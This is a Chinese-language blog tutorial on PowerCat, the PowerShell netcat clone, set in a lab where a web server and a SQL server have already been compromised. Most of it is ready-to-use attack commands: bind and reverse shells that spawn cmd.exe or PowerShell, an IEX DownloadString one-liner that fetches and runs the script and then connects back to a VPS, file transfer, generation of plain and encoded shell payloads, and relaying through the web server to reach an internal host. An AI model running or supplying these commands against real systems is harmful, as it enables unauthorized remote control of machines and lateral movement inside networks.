PowerCat脚本使用

目录

PowerCat
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
nc的powershell版本(支持powershell v2及以上)

github地址:https://github.com/besimorhino/powercat

导入PowerCat

进入powershell,且有git环境
git clone https://github.com/besimorhino/powercat.git
PowerCat脚本使用
cd powercat
import-module .\powercat.ps1
若异常是权限所致,直接修改权限 set-executionpolicy remotesigned

具体策略有:
Unrestricted:允许所有的脚本执行
Restricted:脚本不能运行
RemoteSigned:本地创建的脚本可以执行,但是网上下载的不允许
AllSigned:脚本有受信任的发布者签名时才能执行
Bypass:绕过安全策略执行脚本

查看是否已经导入
powercat -h
PowerCat脚本使用

主要命令:
-l      监听一个连接                       
-c      连接到一个监听
-p      指定端口
-e      指定一个程序执行
-ep     执行Powershell       
-v      显示详细信息     
-r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
-u      Transfer data over UDP.                              [Switch]
-dns    Transfer data over dns (dnscat2).                    [String]
-dnsft  DNS Failure Threshold.                               [int32]
-t      Timeout option. Default: 60                          [int32]
-i      Input: Filepath (string), byte array, or string.     [object]
-o      Console Output Type: "Host", "Bytes", or "String"    [String]
-of     Output File Path.                                    [String]
-d      Disconnect after connecting.                         [Switch]
-rep    Repeater. Restart after disconnecting.               [Switch]
-g      Generate Payload.                                    [Switch]
-ge     Generate Encoded Payload.                            [Switch]
-h      打印出帮助

实验环境

Kali:192.168.101.129
WebServer:192.168.101.133 10.10.10.136
SqlServer:10.10.10.250

已拿下web和数据库服务器,kali可访问web数据库,不能访问数据库服务器,web服务器可访问数据库服务器

1. 通过nc正向连接powercat

WebServer:
powercat -l -p [本地监听端口] -e cmd.exe -v
PowerCat脚本使用
Kali:
netcat [webserverIP] [webserver监听端口] -vv
PowerCat脚本使用

2. 通过nc反向连接powercat

Kali:
netcat -l -p [监听端口] -vv
PowerCat脚本使用
WebServer:
powercat -c [vpsIP] -p [vps监听端口] -v -e cmd.exe
PowerCat脚本使用
也可以远程下载并执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [vpsIP] -p [vps监听端口] -e cmd
PowerCat脚本使用

3. 通过powercat反弹powershell

现在让数据库server反向连接webserver
WebServer:
powercat -l -p [webserver监听端口] -v
PowerCat脚本使用
SqlServer:
powercat -c [webIP] -p [webserver监听端口] -v -ep(用于返回powershell)
PowerCat脚本使用

4. 通过powercat传输文件

webserver新建calc.bat文件,放置c盘根目录下
SqlServer接收
powercat -l -p [监听端口] -of 1.bat -v
PowerCat脚本使用
WebServer:发送
powercat -c [webserverIP] -p [数据库监听端口] -i c:\calc.bat -v
PowerCat脚本使用

5. 用powercat生成payload

用powercat生成payload也有正反向之分,且可进行编码。尝试生成简单payload反弹shell
WebServer:
powercat -l -p [本地监听端口] -e cmd -v -g >> shell.ps1
PowerCat脚本使用
将生成的ps1文件上传到数据库server中执行 .\shell.ps1
powercat -c [数据库server] -p [本地监听端口] -v
如果想反弹powershell
powercat -l -p [本地监听端口] -ep -v -g >> shell.ps1
也可以直接生成经过编码的payload
powercat -l -p [本地监听端口] -e cmd -v -ge >> shell.ps1
PowerCat脚本使用
可以直接使用powershell -e [编码]执行命令
但是编码后的payload太长,复制到命令窗口会报错…
PowerCat脚本使用

6. powercat作为跳板

环境:webserver可ping数据库server和vps,vps不能访问数据库server
SqlServer:(监听)
powercat -l -v -p [本地监听端口] -e cmd.exe
PowerCat脚本使用
WebServer:(连接)
powercat -l -v -p [vps监听端口] -r tcp:[sqlserverip:sqlserver监听端口]
PowerCat脚本使用
vps:(监听)
nc [webserverIP] [本地监听端口] -vv
PowerCat脚本使用
 
更多用法可阅读gayhub地址的文档
GOT IT!

 
******************************************************
具体利用方式需根据具体实践场景~

上一篇:解决Win10 PowerShell无法激活Anaconda虚拟环境的问题


下一篇:powershell渗透常用命令